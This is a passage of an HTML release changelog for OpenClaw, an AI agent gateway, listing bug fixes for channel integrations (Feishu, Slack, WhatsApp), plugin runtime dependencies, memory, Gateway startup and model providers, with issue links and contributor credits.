<li>Agents/output: drop copied inbound metadata-only assistant replay turns before provider replay instead of synthesizing a placeholder, so Telegram and other channels cannot receive <code>[assistant copied inbound metadata omitted]</code> as model output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354851470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74745" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74745/hovercard" href="https://github.com/openclaw/openclaw/issues/74745">#74745</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamwdear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamwdear">@adamwdear</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Doctor/memory: suppress skipped embedding-readiness warnings for key-optional providers such as Ollama and LM Studio while preserving timeout and not-ready diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353533459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74608" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74608/hovercard" href="https://github.com/openclaw/openclaw/issues/74608">#74608</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347037109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73882/hovercard" href="https://github.com/openclaw/openclaw/issues/73882">#73882</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Channels/groups: preserve observe-only turn suppression for prepared dispatch paths and restore deprecated channel turn runtime aliases, so passive observer/group flows stay silent while older plugins keep compiling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Feishu: skip empty-text messages (e.g. <code>{"text":""}</code>) that carry no media, so no blank user turn is written to the session and downstream LLM providers cannot reject the request with "messages must not be empty". (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353876867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74634" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74634/hovercard" href="https://github.com/openclaw/openclaw/issues/74634">#74634</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xdengli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xdengli">@xdengli</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Feishu/Bitable: clean up newly created placeholder rows whose fields contain only default empty values while preserving meaningful link, attachment, user, number, boolean, and location values during create-app cleanup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347281559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73920" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73920/hovercard" href="https://github.com/openclaw/openclaw/pull/73920">#73920</a>) Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043329694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40602/hovercard" href="https://github.com/openclaw/openclaw/pull/40602">#40602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/boat2moon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/boat2moon">@boat2moon</a>.</li>
<li>macOS app: keep attach-only mode and the Debug Settings launchd toggle marker-only, so launching with <code>--attach-only</code>/<code>--no-launchd</code> no longer uninstalls the Gateway LaunchAgent or drops active sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330918206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72174" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72174/hovercard" href="https://github.com/openclaw/openclaw/pull/72174">#72174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DolencLuka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DolencLuka">@DolencLuka</a>.</li>
<li>Plugin SDK: restore the deprecated <code>plugin-sdk/zalouser</code> command-auth facade so published Lark/Zalo plugins that import it load on current hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354621148" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74702/hovercard" href="https://github.com/openclaw/openclaw/issues/74702">#74702</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Goron01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Goron01">@Goron01</a>.</li>
<li>Plugins/runtime-deps: include bundled provider plugins when <code>models.providers</code>, auth profiles, agent defaults, or subagent model refs configure that provider, while keeping inactive default-enabled provider plugins out of doctor repair. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350160379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74307" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74307/hovercard" href="https://github.com/openclaw/openclaw/issues/74307">#74307</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Skeptomenos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Skeptomenos">@Skeptomenos</a>.</li>
<li>Plugins/runtime: resolve relative plugin <code>api.resolvePath</code> inputs against the plugin root instead of the host working directory, while keeping absolute and home paths user-resolved. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354673479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74718" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74718/hovercard" href="https://github.com/openclaw/openclaw/pull/74718">#74718</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jimdawdy-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jimdawdy-hub">@jimdawdy-hub</a>.</li>
<li>Plugins/runtime-deps: refresh mirrored root chunks through a temporary file before replacing the active copy, so failed refreshes do not delete chunks that running plugin imports still need. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/runtime-deps: prefer <code>require</code> conditional exports when building staged dependency aliases, so CommonJS-only plugin runtime deps such as <code>ws</code> do not resolve to ESM wrappers under Jiti. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352876135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74547" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74547/hovercard" href="https://github.com/openclaw/openclaw/issues/74547">#74547</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aderius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aderius">@aderius</a>.</li>
<li>Bonjour/Gateway: cap flapping advertiser restarts in a sliding window, so mDNS probing/name-conflict loops disable discovery instead of churning indefinitely on constrained hosts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348958904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74209/hovercard" href="https://github.com/openclaw/openclaw/issues/74209">#74209</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349224957" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74242/hovercard" href="https://github.com/openclaw/openclaw/pull/74242">#74242</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ndj888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ndj888">@ndj888</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Plugins/runtime-deps: verify staged package entry files before reusing mirrored runtime roots, so browser-control repairs incomplete <code>ajv</code>/MCP SDK installs after update instead of failing after restart on a missing <code>ajv/dist/ajv.js</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spickeringlr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spickeringlr">@spickeringlr</a>.</li>
<li>Heartbeat: resolve <code>responsePrefix</code> template variables with the selected provider, model, and thinking context before delivering alerts or suppressing prefixed <code>HEARTBEAT_OK</code> replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057207695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43064" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43064/hovercard" href="https://github.com/openclaw/openclaw/issues/43064">#43064</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057211022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43065" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43065/hovercard" href="https://github.com/openclaw/openclaw/pull/43065">#43065</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077564180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46858" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46858/hovercard" href="https://github.com/openclaw/openclaw/pull/46858">#46858</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yweiii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yweiii">@yweiii</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JunJD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JunJD">@JunJD</a>.</li>
<li>Memory/LanceDB: show full memory UUIDs in the <code>memory_forget</code> candidate list so agents can pass the displayed ID back to targeted deletion without hitting the full-UUID validator. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265695758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66913" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66913/hovercard" href="https://github.com/openclaw/openclaw/pull/66913">#66913</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>.</li>
<li>File-transfer plugin: require canonical read-path preflight authorization for <code>file.fetch</code>, fail closed when <code>dir.fetch</code> preflight entries are missing, absolute, or traversing, and recheck returned archive entries before handing archive bytes to callers. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348342550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74134/hovercard" href="https://github.com/openclaw/openclaw/pull/74134">#74134</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Channels/Feishu: retry file-typed iOS video resource downloads as <code>media</code> after a Feishu/Lark HTTP 502 and preserve the original 502 when the fallback also fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4095635032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49855" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49855/hovercard" href="https://github.com/openclaw/openclaw/issues/49855">#49855</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098933775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50164" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50164/hovercard" href="https://github.com/openclaw/openclaw/pull/50164">#50164</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347465827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73986/hovercard" href="https://github.com/openclaw/openclaw/pull/73986">#73986</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>.</li>
<li>Providers/Amazon Bedrock: expose the full Claude Opus 4.7 thinking profile (<code>xhigh</code>, <code>adaptive</code>, and <code>max</code>) for Bedrock model refs, while keeping Opus/Sonnet 4.6 on adaptive-by-default, so <code>/think</code> menus and validation match the Anthropic transport behavior. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354600083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74701" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74701/hovercard" href="https://github.com/openclaw/openclaw/issues/74701">#74701</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasad-yashdeep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasad-yashdeep">@prasad-yashdeep</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sparkleHazard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sparkleHazard">@sparkleHazard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Plugins/tokenjuice: compile the bundled plugin against tokenjuice 0.7.0's published OpenClaw host types instead of a local compatibility shim, so package contract drift fails in OpenClaw validation before release. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>OAuth/secrets: ignore root-level Google OAuth <code>client_secret_*.json</code> downloads so local client-secret files do not appear as commit candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354413662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74689/hovercard" href="https://github.com/openclaw/openclaw/pull/74689">#74689</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeongdulee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeongdulee">@jeongdulee</a>.</li>
<li>Memory: mirror <code>sqlite-vec</code> into packaged bundled-plugin runtime deps for the default memory plugin, so builtin vector search does not lose its SQLite extension after upgrading to 2026.4.27. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354441000" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74692" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74692/hovercard" href="https://github.com/openclaw/openclaw/issues/74692">#74692</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mozi1924/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mozi1924">@mozi1924</a>.</li>
<li>Gateway/startup: bound local discovery advertisement during startup, so a stuck discovery plugin can no longer keep the Gateway from reaching ready. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346875416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73865" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73865/hovercard" href="https://github.com/openclaw/openclaw/issues/73865">#73865</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353860044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74633" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74633/hovercard" href="https://github.com/openclaw/openclaw/issues/74633">#74633</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lpendeavors/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lpendeavors">@lpendeavors</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moltar-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moltar-bot">@moltar-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Saboor711/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Saboor711">@Saboor711</a>.</li>
<li>Gateway/models: serve the last successful model catalog while stale reloads refresh in the background, so Gateway control-plane and OpenAI-compatible requests no longer block behind model-provider rediscovery after model config changes. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348343209" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74135" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74135/hovercard" href="https://github.com/openclaw/openclaw/issues/74135">#74135</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353860044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74633" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74633/hovercard" href="https://github.com/openclaw/openclaw/issues/74633">#74633</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DerFlash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DerFlash">@DerFlash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moltar-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moltar-bot">@moltar-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Saboor711/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Saboor711">@Saboor711</a>.</li>
<li>CLI/status: resolve read-only channel setup runtime fallback from the packaged OpenClaw dist root, so <code>status --all</code>, <code>status --deep</code>, channel, and doctor paths do not crash when an external channel plugin needs setup metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354478427" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74693" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74693/hovercard" href="https://github.com/openclaw/openclaw/issues/74693">#74693</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giangthb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giangthb">@giangthb</a>.</li>
<li>SDK/events: keep per-run SDK event streams from surfacing duplicate raw chat projection frames, while normalizing chat-only projection frames and preserving raw access through <code>rawEvents</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354625879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74704/hovercard" href="https://github.com/openclaw/openclaw/issues/74704">#74704</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>SDK: report Gateway terminal <code>agent.wait</code> timeout snapshots with lifecycle metadata as <code>timed_out</code> while keeping bare wait deadlines non-terminal. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clawsweeper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clawsweeper">@clawsweeper</a>.</li>
<li>Google Meet: block managed Chrome intro/test speech until browser health proves the participant is in-call, and expose <code>speechReady</code> diagnostics so login, admission, permission, and audio-bridge blockers no longer look like successful speech. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Slack/commands: keep native command argument menus on select controls for encoded choice values up to Slack's option limit and truncate fallback button labels to Slack's button-text limit, so long valid choices no longer render invalid Slack blocks. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Agents/Codex: flush accepted debounced steering messages before normal app-server turn cleanup, so inbound follow-ups acknowledged as queued are not dropped when the turn completes before the debounce fires. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Slack/interactive replies: keep rendered buttons and selects within Slack Block Kit value and count limits, and align command argument select values with Slack's option limit, so overlong agent-authored choices no longer make Slack reject the whole block payload. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/interactive replies: drop overlong Block Kit button URLs while preserving valid callback values, so malformed link buttons no longer make Slack reject the whole interactive reply. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: truncate native command argument-menu confirmation text to Slack's dialog limit, so long plugin arg names no longer make fallback buttons render invalid Block Kit payloads. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/exec approvals: cap native approval metadata context to Slack's element and text limits, so large approval details no longer make Slack reject the approval card. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/exec approvals: cap native approval update fallback text to Slack's message limit while preserving the rendered approval blocks, so long commands no longer make resolved or expired approval cards stay stale after <code>chat.update</code> rejects <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: cap native command argument-menu fallback rows to Slack's message block limit, so large plugin choice lists no longer make Slack reject the generated menu. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: drop fallback command argument buttons whose encoded values exceed Slack's button-value limit, so one oversized plugin choice no longer makes Slack reject the whole menu. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: merge message-tool presentation and interactive blocks on Slack sends, so buttons and selects are no longer dropped when a structured message body is also present. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: cap Block Kit fallback text to Slack's send limit while preserving the rendered blocks, so long context fallbacks no longer make rich Slack messages fail with <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: cap Block Kit fallback text on message edits while preserving the rendered blocks, so long context fallbacks no longer make Slack reject <code>chat.update</code> calls with <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Channels/WhatsApp: require Baileys outbound message ids before marking auto-replies delivered, so transcript text and ack reactions no longer make failed group replies look sent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090958823" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49225" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49225/hovercard" href="https://github.com/openclaw/openclaw/issues/49225">#49225</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</li>
<li>CLI/update: scope packaged Node compile caches by OpenClaw version and install metadata, so global installs no longer reuse stale compiled chunks after package updates. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Channels/Voice call: keep pre-auth webhook in-flight limiting active when socket remote address metadata is missing, so slow-body requests from stripped-IP proxy paths still share the fallback bucket. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351826007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74453/hovercard" href="https://github.com/openclaw/openclaw/pull/74453">#74453</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</li>
<li>Plugin SDK/testing: lazy-load TypeScript from the plugin test-contract runtime and add release checks for critical SDK contract entrypoint imports and bundle size, so published packages fail preflight before shipping ESM-incompatible or oversized contract helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
